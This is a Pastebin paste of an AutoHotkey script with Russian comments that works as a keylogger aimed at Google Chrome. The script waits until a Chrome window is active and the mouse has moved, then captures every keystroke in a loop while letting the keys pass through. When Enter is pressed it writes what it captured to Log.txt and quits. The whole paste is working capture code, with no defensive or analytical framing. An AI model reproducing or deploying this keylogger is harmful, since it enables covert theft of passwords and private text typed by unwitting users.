msgbox

Untitled

Jun 23rd, 2011
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #CommentFlag //
  2.  
  3.     // перезапускать, если уже запущен:
  4.         #SingleInstance Force
  5.     // убрать иконку в трее, если необходимо -- убери '//' перед '#'
  6.         // #NoTrayIcon
  7.     // не прекращать выполнение скрипта:
  8.         #Persistent
  9.     // наивысшая скорость исполнения скрипта:
  10.         SetBatchLines -1
  11.     // название окна, которое будем отслеживать:
  12.         MyTitle := "Google Chrome"
  13.     // минимальное отклонение между двумя позициями курсора (px):
  14.         Infelicity := "5"
  15.     // название будущего файла:
  16.         FileName := "Log.txt"
  17.     // устанавливаем таймер на функцию с периодичностью в 0,1 с:
  18.         SetTimer, WatchWindow, 100
  19.     // прекращаем "автовыполнение" скрипта
  20. return
  21.  
  22.  
  23.  
  24.  
  25. WatchWindow:
  26. // получаем заголовок активного окна
  27.     WinGetActiveTitle, Title
  28.         // если в текущем названии окна есть что-то, содержащееся в нашеё переменной:
  29.         if Title Contains % MyTitle
  30.         {
  31.         // выводим в TrayTip:
  32.         TrayTip, Current window: %Title%, Yes`, contains!
  33.         // устанавливаем таймер на функцию с периодичностью в 1 с:
  34.         SetTimer, WatchMouse, 100
  35.         // выключаем текущий таймер:
  36.         SetTimer, WatchWindow, Off
  37.         }
  38.         // если же условие не выполнено, то
  39.         else
  40.         {
  41.         // выводим в TrayTip:
  42.         TrayTip, Current window: %Title%, No!
  43.         }
  44. // прекращаем "автовыполнение" скрипта.
  45.     return
  46.  
  47.  
  48.  
  49.  
  50. WatchMouse:
  51.     // получаем текущую позицию курсора:
  52.         MouseGetPos, MouseX, MouseY
  53.     // если первая переменная с позициями пуста, то:
  54.         if (MouseFirstPositionX="" && MouseFirstPositionY="")  {
  55.     // записываем в переменную "MouseFirstPositionX" позицию по оси "X":
  56.         MouseFirstPositionX := MouseX
  57.     // записываем в переменную "MouseFirstPositionY" позицию по оси "Y":
  58.         MouseFirstPositionY := MouseY
  59.     // прекращаем выполнение функции.
  60.             return
  61.             }
  62.     // если вторая переменная с позициями пуста, то:
  63.         if (MouseSecondPositionX="" && MouseSecondPositionY="")  {
  64.     // записываем в переменную "MouseSecondPositionX" позицию по оси "X":
  65.         MouseSecondPositionX := MouseX
  66.     // записываем в переменную "MouseSecondPositionY" позицию по оси "Y":
  67.         MouseSecondPositionY := MouseY
  68.         // прекращаем выполнение функции.
  69.             return
  70.             }
  71.         // ещё раз получаем название активного окна:
  72.         WinGetActiveTitle, Title
  73.         // если наше окно по-прежнему активно:
  74.         if Title Contains % MyTitle
  75.         {
  76.         // сравниваем переменные с минимальным отклонением позиции:
  77.             If (MouseFirstPositionX-MouseSecondPositionX<Infelicity && MouseFirstPositionY-MouseSecondPositionY<Infelicity OR MouseFirstPositionX+MouseSecondPositionX>Infelicity && MouseFirstPositionY+MouseSecondPositionY>Infelicity)
  78.                 // если условие выполнено:
  79.                 {
  80.                 // то переходим к функции перехвата,
  81.                 Gosub, WatchKeyboard
  82.                 // после чего выключаем текущий таймер:
  83.                 SetTimer, WatchMouse, Off
  84.                 // и прекращаем выполнение текущей функции.
  85.                 return
  86.                 }
  87.             // иначе прекращаем выполнение текущей функции.
  88.             else
  89.             {
  90.             return
  91.             }
  92.         // если окно неактивно, то начинаем всё по-новой:
  93.         }
  94.         else
  95.         {
  96.         SetTimer, WatchWindow, 100
  97.         }
  98. // прекращаем выполнение функции.
  99.     return
  100.  
  101.  
  102.  
  103.  
  104. WatchKeyboard:
  105. Loop {
  106. ToolTip, Export: %Export%
  107.     // перехватываем клавишу:
  108.         Input, SingleKey, B C L1 V
  109.     // добавляем её в переменную:
  110.         Export := Export SingleKey
  111.     // необходимо указать, что переменная с текстом уже не пуста:
  112.         Repeat:="1"
  113.     // определяем позицию курсора:
  114.     Gosub, WatchMouse2
  115.     }
  116.     // прекращаем выполнение функции.
  117. return
  118.  
  119.  
  120.  
  121. WatchMouse2:
  122.     // получаем текущую позицию курсора:
  123.         MouseGetPos, MouseX, MouseY
  124.     // и, если она больше минимального отклонения - дописываем разделитель
  125.         if (MouseX-MouseSecondPositionX<Infelicity OR MouseY-MouseSecondPositionY<Infelicity)
  126.         Export := Export
  127.     // возвращаемся к перехвату
  128.         Gosub, WatchKeyboard
  129.     // прекращаем выполнение функции.
  130. return
  131.  
  132.  
  133.  
  134.  
  135. Enter::
  136. WriteLog:
  137.     // если переменная с текстом не пуста
  138.         if (Repeat!="")
  139.             {
  140.             // то записываем содержимое переменной в файл
  141.             FileAppend, % Export, %a_scriptdir%\%Filename%
  142.             // и завершаем работу
  143.             ExitApp
  144.             }
  145.             else
  146.             {
  147.     // если условие не выполнено, то высылаем клавишу:
  148.     Send {ENTER}
  149.             }
  150.     // прекращаем выполнение функции.
  151. return
Advertisement
Add Comment
Please, Sign In to add comment